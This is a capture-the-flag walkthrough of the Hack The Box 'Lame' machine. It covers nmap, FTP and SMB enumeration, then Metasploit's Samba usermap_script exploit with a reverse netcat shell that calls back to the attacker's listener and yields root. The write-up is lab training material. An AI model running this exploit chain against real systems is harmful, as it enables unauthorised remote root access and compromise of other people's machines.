Lame HTB
Difficulty: Easy
IP Address: 10.10.10.3
Nmap Scan:
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ nmap -sCV -A 10.10.10.3 -p21,22,139,445,3632 -oN nmapscan -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-20 01:02 WAT
Nmap scan report for 10.10.10.3
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.7
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-01-19T19:03:24-05:00
|_clock-skew: mean: 2h30m20s, deviation: 3h32m09s, median: 19s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.92 seconds
Checking ftp for anonymous login which worked
But nothing is really in the ftp directory
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:mark): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
lsftp> ls -al
229 Entering Extended Passive Mode (|||55652|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
ftp> put nmapscan
local: nmapscan remote: nmapscan
229 Entering Extended Passive Mode (|||38021|).
553 Could not create file.
ftp>
Listing shares in the smb anonymously
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ smbclient -L 10.10.10.3
Password for [WORKGROUP\mark]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
Checking out what each shares we have access to has in it
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\mark]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 20 01:07:43 2023
.. DR 0 Sat Oct 31 08:33:58 2020
.ICE-unix DH 0 Fri Jan 20 01:01:47 2023
vmware-root DR 0 Fri Jan 20 01:02:09 2023
.X11-unix DH 0 Fri Jan 20 01:02:12 2023
.X0-lock HR 11 Fri Jan 20 01:02:12 2023
vgauthsvclog.txt.0 R 1600 Fri Jan 20 01:01:45 2023
5574.jsvc_up R 0 Fri Jan 20 01:02:50 2023
7282168 blocks of size 1024. 5386548 blocks available
smb: \>
Doesn’t really seem like anything important but I’ll get the file to my machine
The other share doesn’t give us access to login anonymously
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ smbclient //10.10.10.3/opt
Password for [WORKGROUP\mark]:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
Saving the file in the /tmp share
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\mark]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> get vgauthsvclog.txt.0
getting file \vgauthsvclog.txt.0 of size 1600 as vgauthsvclog.txt.0 (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \>
The content of the file is just the log for the smb on the vmware nothing of interest there
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ cat vgauthsvclog.txt.0
[Jan 19 19:01:44.961] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jan 19 19:01:44.961] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jan 19 19:01:44.961] [ message] [VGAuthService] Group 'service'
[Jan 19 19:01:44.961] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jan 19 19:01:44.961] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jan 19 19:01:45.524] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Jan 19 19:01:45.524] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Jan 19 19:01:45.524] [ message] [VGAuthService] Group 'service'
[Jan 19 19:01:45.524] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Jan 19 19:01:45.524] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Jan 19 19:01:45.524] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
[Jan 19 19:01:45.524] [ message] [VGAuthService] INIT SERVICE
[Jan 19 19:01:45.524] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Jan 19 19:01:45.623] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Jan 19 19:01:45.824] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
[Jan 19 19:01:45.824] [ message] [VGAuthService] BEGIN SERVICE
The other service which runs on port 3632 doesn’t do much
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ nc 10.10.10.3 3632
id
whoami
ls -al
Firing up metasploit to check for vulnerable version of the services running on the target
┌──(mark㉿haxor)-[~/Desktop/B2B/HTB/Lame]
└─$ msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v6.2.9-dev ]
+ -- --=[ 2229 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: View all productivity tips with the
tips command
[*] Starting persistent handler(s)...
msf6 >
Now i’ll search for samba 3.0.20 since thats the version the smb server uses
msf6 > search samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
Seems worth a trial
I’ll try it out
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-fra
mework/wiki/Using-Metasploit
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.220.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => tun0
msf6 exploit(multi/samba/usermap_script) >
Now I’ll run it
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.16.7:4444
[*] Command shell session 1 opened (10.10.16.7:4444 -> 10.10.10.3:41858) at 2023-01-20 01:17:03 +0100
id
uid=0(root) gid=0(root)
whoami
root
ls -al
total 101
drwxr-xr-x 21 root root 4096 Oct 31 2020 .
drwxr-xr-x 21 root root 4096 Oct 31 2020 ..
drwxr-xr-x 2 root root 4096 Oct 31 2020 bin
drwxr-xr-x 4 root root 1024 Nov 3 2020 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 13 root root 13540 Jan 19 19:01 dev
drwxr-xr-x 96 root root 4096 Jan 19 19:01 etc
drwxr-xr-x 6 root root 4096 Mar 14 2017 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img -> boot/initrd.img-2.6.24-32-server
lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img.old -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 Oct 31 2020 lib
drwx------ 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw------- 1 root root 17357 Jan 19 19:02 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 112 root root 0 Jan 19 19:01 proc
drwxr-xr-x 13 root root 4096 Jan 19 19:02 root
drwxr-xr-x 2 root root 4096 Nov 3 2020 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Jan 19 19:01 sys
drwxrwxrwt 5 root root 4096 Jan 19 19:17 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 15 root root 4096 May 20 2012 var
lrwxrwxrwx 1 root root 29 Oct 31 2020 vmlinuz -> boot/vmlinuz-2.6.24-32-server
lrwxrwxrwx 1 root root 29 Oct 31 2020 vmlinuz.old -> boot/vmlinuz-2.6.24-16-server
From the result we’re root already
And we’re done xD